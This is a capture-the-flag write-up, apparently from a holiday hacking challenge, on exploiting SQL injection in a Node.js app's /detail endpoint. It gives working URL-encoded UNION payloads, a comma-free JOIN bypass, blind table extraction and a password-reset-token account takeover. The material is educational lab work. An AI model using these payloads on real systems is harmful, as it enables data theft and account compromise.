SQL Injecting my Way to the Top

Stay with me now, I am going to get super into the weeds here.

After a lot of poking around, I found a potential SQL injection point in the /detail/:id endpoint, allowing for the possibility of tacking on multiple ID's.

app.get('/detail/:id', function(req, res, next) {
    session = req.session;
    var reqparam = req.params['id'];
    var query = "SELECT * FROM uniquecontact WHERE id=";

    if (session.uniqueID){

        try {
            if (reqparam.indexOf(',') > 0){
                var ids = reqparam.split(',');
                reqparam = "0";
                for (var i=0; i<ids.length; i++){
                    query += tempCont.escape(m.raw(ids[i]));
                    query += " OR id="
                }
                query += "?";
            }else{
                query = "SELECT * FROM uniquecontact WHERE id=?"
            }
        } catch (error) {
            console.log(error);
            return res.sendStatus(500);
        }

Notice the usage of the m.raw() function. The query it builds starts from:

SELECT * FROM uniquecontact WHERE id=

Then, when provided with two values in the URL, like 1,2, it builds the query like so

Splits up the string 1,2 by commas, so it becomes a list consisting of [1, 2].
Takes the raw value of list[0], which is 1 in this example, and appends it to the SQL string, making it: SELECT * FROM uniquecontact WHERE id=1
Then appends " OR id=" to the string, making it: SELECT * FROM uniquecontact WHERE id=1 OR id=
Then takes the raw value of list[1], which is 2 in this example, and appends it to the SQL string, making it: SELECT * FROM uniquecontact WHERE id=1 OR id=2
Then appends " OR id=" to the string, making it: SELECT * FROM uniquecontact WHERE id=1 OR id=2 OR id=
Finally, it appends a single ? to the end of the string, making the full query: SELECT * FROM uniquecontact WHERE id=1 OR id=2 OR id=?

Now, let's see exactly how the m.raw() function and the tempCont.escape() functions interact with each other using a simple SQL injection

Example of what happens in the code that I ran from the NodeJS REPL:

> var createcon = require('./custom_modules/modconnection');
undefined
> var tempCont = new createcon();
undefined
> tempCont.escape('1 OR 1=1 -- -');
"'1 OR 1=1 -- -'"
> tempCont.escape('1" OR 1=1 -- -');
`'1\\" OR 1=1 -- -'`
> var m = require('mysql');
undefined
> m.raw('1 OR 1=1 -- -')
{ toSqlString: [Function: toSqlString] }
> tempCont.escape(m.raw('1 OR 1=1 -- -'));
'1 OR 1=1 -- -'

Looks like it doesn't affect it at all!

So now we can start playing with the full SQL string. To get to the above iteration, we need to supply at least 2 values to the URL. And since this is a URL, we need to escape spaces and things.

After some trial and error, and finding out that Burp uses the + sign instead of the %20 escape sequence for a space and that this particular application was none too happy with that substitution, I discovered something....

GET /detail/1,2%20OR%201=1--%20- HTTP/2
Host: staging.jackfrosttower.com
Cookie: _csrf=OMNZhMkHvNbrt14GnM6MfwUU; connect.sid=s%3AaixnfqEi2f4Bjcirl25qI1mCKL9uP0HM.E7t9mwj5zMgnX5R7AaPLwfdFNOjuMyv4YHZvvJ5AZ5M
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Te: trailers

This dumped the entire uniquecontact database! With the above, the SQL can be interpreted as such:

SELECT * FROM uniquecontact WHERE id=1 OR id=2 OR 1=1-- - OR id=?

Meaning that everything after the -- - is commented out! Let's try to build a union injection! My first instinct is to set up something like this: 1,2 UNION SELECT 1,2,3..., but sadly due to the following code:

        try {
            if (reqparam.indexOf(',') > 0){
                var ids = reqparam.split(',');
                reqparam = "0";
                for (var i=0; i<ids.length; i++){
                    query += tempCont.escape(m.raw(ids[i]));
                    query += " OR id="
                }

...we can see that if I enter any commas, they will simply be read and split apart before they even make it to the SQL statement. This just won't do...so what can I do to determine the amount of columns? Well, I can put a pin in that notion of working around not using commas and attempt to use the GROUP BY statement to accomplish the same!

Confirming the Columns used

First of all, I know that I can just review the database in question, since this is a SELECT * query I know that this returns all the columns as specified here:

CREATE TABLE `uniquecontact` (
  `id` int(50) NOT NULL AUTO_INCREMENT,
  `full_name` varchar(255) DEFAULT NULL,
  `email` varchar(255) DEFAULT NULL,
  `phone` varchar(50) DEFAULT NULL,
  `country` varchar(255) DEFAULT NULL,
  `date_created` datetime DEFAULT NULL,
  `date_update` datetime DEFAULT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=33 DEFAULT CHARSET=latin1;

So, 7 columns. But if I don't have access to the database structure as I normally would in a black-box testing environment, I can determine the columns using this SQL Injection point:

...
GET /detail/1,2%20group%20by%204-- HTTP/2 <-- 200 OK
GET /detail/1,2%20group%20by%205-- HTTP/2 <-- 200 OK
GET /detail/1,2%20group%20by%206-- HTTP/2 <-- 200 OK
GET /detail/1,2%20group%20by%207-- HTTP/2 <-- 200 OK
GET /detail/1,2%20group%20by%208-- HTTP/2 <-- 500 Internal Server Error

The Injection is 1,2 group by 7, incrementing the last number up by one until it fails. The last successful query shows exactly how many columns are used to make that query. Knowing that, I can attempt a fancy little comma bypass to see if I can get a solid union injection working WITHOUT commas. It's possible, believe it or not! But until then...

I am going to use this fancy little python script I wrote to just take a sentence and replace spaces with %20s:

#!/usr/bin/env python3

print("Enter a string you want me to format: ", end="")
sqli = input()
sqli = sqli.replace(" ", "%20")
print(sqli)

So great, I don't have to worry about replacing spaces with %20s. But what about commas? Well, first I tried to add the ordinal value of commas and hope the database would interpret it, but that would never work for some reason (using something like chr(0x2c) in place of commas), but I discovered a new UNION query that could perform the same thing with individual queries for each item! I can do something like UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b... and repeat this for every column I discovered, 7 in this case.

And with that, I took the following string:

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g

And formatted it as stated above:

UNION%20SELECT%20*%20FROM%20(SELECT%201)a%20JOIN%20(SELECT%202)b%20JOIN%20(SELECT%203)c%20JOIN%20(SELECT%204)d%20JOIN%20(SELECT%205)e%20JOIN%20(SELECT%206)f%20JOIN%20(SELECT%207)g

Then finally injected it into the URL...

GET /detail/1,2%20UNION%20SELECT%20*%20FROM%20(SELECT%201)a%20JOIN%20(SELECT%202)b%20JOIN%20(SELECT%203)c%20JOIN%20(SELECT%204)d%20JOIN%20(SELECT%205)e%20JOIN%20(SELECT%206)f%20JOIN%20(SELECT%207)g-- HTTP/2

And I got a solid union injection!!!

Union

NOW WE'RE COOKING WITH GAS!

So with a little magic...

I can turn this: UNION SELECT * FROM (SELECT 1)a JOIN (SELECT name from users where id = 1)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT password from users where id = 1)e JOIN (SELECT 6)f JOIN (SELECT 7)g

Into this... UNION%20SELECT%20*%20FROM%20(SELECT%201)a%20JOIN%20(SELECT%20name%20from%20users%20where%20id%20=%201)b%20JOIN%20(SELECT%203)c%20JOIN%20(SELECT%204)d%20JOIN%20(SELECT%20password%20from%20users%20where%20id%20=%201)e%20JOIN%20(SELECT%206)f%20JOIN%20(SELECT%207)g

And I get this:

Another successful union

I got a password! I'll fast forward a bit more and state that this is a BCrypt hash that takes a long time to crack, even with my graphics card which is nothing to sneeze at, and I never managed to get anything from this. Oh well, back out of that rabbit hole.

Now with that, I can go even further.

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT name from users where id = 1)b JOIN (select token from users where id = 1)c JOIN (SELECT email from users where id = 1)d JOIN (SELECT password from users where id = 1)e JOIN (SELECT 6)f JOIN (SELECT 7)g

Which becomes:

UNION%20SELECT%20*%20FROM%20(SELECT%201)a%20JOIN%20(SELECT%20name%20from%20users%20where%20id%20=%201)b%20JOIN%20(select%20token%20from%20users%20where%20id%20=%201)c%20JOIN%20(SELECT%20email%20from%20users%20where%20id%20=%201)d%20JOIN%20(SELECT%20password%20from%20users%20where%20id%20=%201)e%20JOIN%20(SELECT%206)f%20JOIN%20(SELECT%207)g

And now I get even more info, such as the email address (in this case, it was root@localhost) and the token if it ever appears! In hindsight, I probably could have guessed the email before, but even still it wouldn't help anything because I'd need to have access to the token to do anything of interest.

So...let's try and generate a token.

I can access the page at https://staging.jackfrosttower.com/forgotpass and enter the email I obtained from the SQL injection, root@localhost:

Resetting the password

And it worked!

It worked!

But...will it show up in the database? It should have generated a token...

Our token

Yup! Our token is XrMxV5ZGfAJSCUt1duXujkgefpk1QcTj, and according to this endpoint:

app.get('/forgotpass/token/:id', function(req, res, next) {

    var reqparam = req.params['id'];

    if (reqparam != ""){
        tempCont.query("SELECT * from users where token=?", reqparam, function(error, rows, fields){
            if (error) {
                return res.sendStatus(500);
            }

            var rowdata = rows.length;

            if (rowdata == 0){
                res.redirect("/login");
            }else{
                res.render('resetpass',
                    {
                        'title': 'Reset Password',
                        'token': reqparam,
                        'email': rows['0']['email'],
                        'csrfToken': req.csrfToken()
                    }
                );
            }
        });
    }else{
        res.redirect("/login");
    }
});

We can access /forgotpass/token/XrMxV5ZGfAJSCUt1duXujkgefpk1QcTj

Accessing the Forgotten Password Page

And change the superadmin's password! I'll change it to letmein1234!

GET /detail/1,2%20UNION%20SELECT%20*%20FROM%20(SELECT%201)a%20JOIN%20(SELECT%20name%20from%20users%20where%20id%20=%201)b%20JOIN%20(select%20token%20from%20users%20where%20id%20=%201)c%20JOIN%20(SELECT%20email%20from%20users%20where%20id%20=%201)d%20JOIN%20(SELECT%20password%20from%20users%20where%20id%20=%201)e%20JOIN%20(SELECT%206)f%20JOIN%20(SELECT%207)g-- HTTP/2

Hacker voice: "I'm in."

I'm in

Fun stuff, but I want to see the table names so I could reference any other tables.

The Section in Which I Fumble Around Trying to Find Out What to Do

In my attempts to further enumerate the database, I did what most sensible hackers would do when presented with a MySQL database that I have very little visibility to: I attempted to enumerate the mysql database, or the information_schema database, both of which wound up being a fruitless endeavor.

The following weird attempts didn't seem to work!

union select * from (select 1)a JOIN (SELECT table_name FROM mysql.innodb_table_stats)b on 1=1

UNION SELECT * FROM (SELECT 1)a JOIN (SELECT name from users where id = 1)b JOIN (select token from users where id = 1)c JOIN (SELECT email from users where id = 1)d JOIN (SELECT password from users where id = 1)e JOIN (SELECT 6)f JOIN (SELECT 7)g

union select * from (select 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g on 1=1 -- -

union select * from (select 1)a JOIN (SELECT 2)b JOIN (select 1 from (select 1 union select name from users limit 1))c JOIN (SELECT 4)d JOIN (SELECT 5)e JOIN (SELECT 6)f JOIN (SELECT 7)g on 1=1 -- -

It was so bad that the best way I discovered to work on my SQL Injection skills was to build a MySQL database in a Docker container and attempt to create a very similar schema with contrived data built-in.

Me Messing with Stuff

Eventually I came up with the following method to find data from a table which I assumed was there, but had no idea how to reference any of the table's columns. There are two lines here because the top one is tab-delimited for viewability, and the bottom query was flattened:

select * from users 
where id=-1 
    union select * from 
        (select 1)a join
        (select 2)b join
        (select f.3 from
            (select * from
                (select 1)z join
                (select 2)y join
                (select 3)x join
                (select 4)w join
                (select 5)v join
                (select 6)u join
                (select 7)t 
                union select * from users limit 1 offset 2
            )f
        )c;

union select * from (select 1)a join (select 2)b join (select f.3 from (select * from (select 1)z join (select 2)y join (select 3)x join (select 4)w join (select 5)v join (select 6)u join (select 7)t union select * from users limit 1 offset 2)f)c

And eventually, given what I discovered...this actually worked. It gave me information from the users table without once referencing a column name. It is ugly as sin, but nobody ever said hacking was pretty:

select id,name,1 from users where id=-1 union select * from (select 1)a join (select 2)b join (select f.3 from (select * from (select 1)z join (select 2)y join (select 3)x join (select 4)w join (select 5)v join (select 6)u join(select 7)t union select * from users limit 1 offset 2)f)c;

This is nice if I wanted to get info from the users table, but I suspected there was a todo table based on the following description of the challenge:

Todo

So let's make a new table called todo with some arbitrary column names, like an id column and another column named flag.

 CREATE TABLE 'todo' (
  'id' int(50) NOT NULL AUTO_INCREMENT,
  'flag' varchar(255) DEFAULT NULL,
   PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=10 DEFAULT CHARSET=latin1;

And with a fair amount of fiddling and general messing around...

THIS. ACTUALLY. WORKED.

union select * from (select 1)a join (select 2)b join (select f.2 from (select * from (select 1)z join (select 2)y join (select 3)x union select * from todo limit 1 offset 1)f)c join (select 4)d join (select 5)e join (select 6)f join (select 7)g

Or rather: %20union%20select%20*%20from%20(select%201)a%20join%20(select%202)b%20join%20(select%20f.2%20from%20(select%20*%20from%20(select%201)z%20join%20(select%202)y%20join%20(select%203)x%20union%20select%20*%20from%20todo%20limit%201%20offset%201)f)c%20join%20(select%204)d%20join%20(select%205)e%20join%20(select%206)f%20join%20(select%207)g%20--%20-

This worked

I got it! Jack's TODO list!

According to Jack's TODO in the database, I was able to extract the following items by changing the line limit 1 offset 1 to limit 1 offset 2 and incrementing the offset for each item in the todo table. Just rinse and repeat until I have them all!

Total Extraction

Some good links I used:

Credit where it's due, I have to reference the following pages for some of the tricks I used to accomplish this ridiculous feat. Easily one of the cooler SQL Injection challenges I've ever done.

Redforce Infosec Blog

Pentest Monkey

Carlos Polops' HackTricks

C00kies@venice Infosec Blog

The resulting TODO list:

Buy up land all around Santa's Castle
Build bigger and more majestic tower next to Santa's
Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
Dishearten Santa's elves and encourage defection to our cause
Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
Force Santa to cancel Christmas
SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!!! Bwahahahahaha!
With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him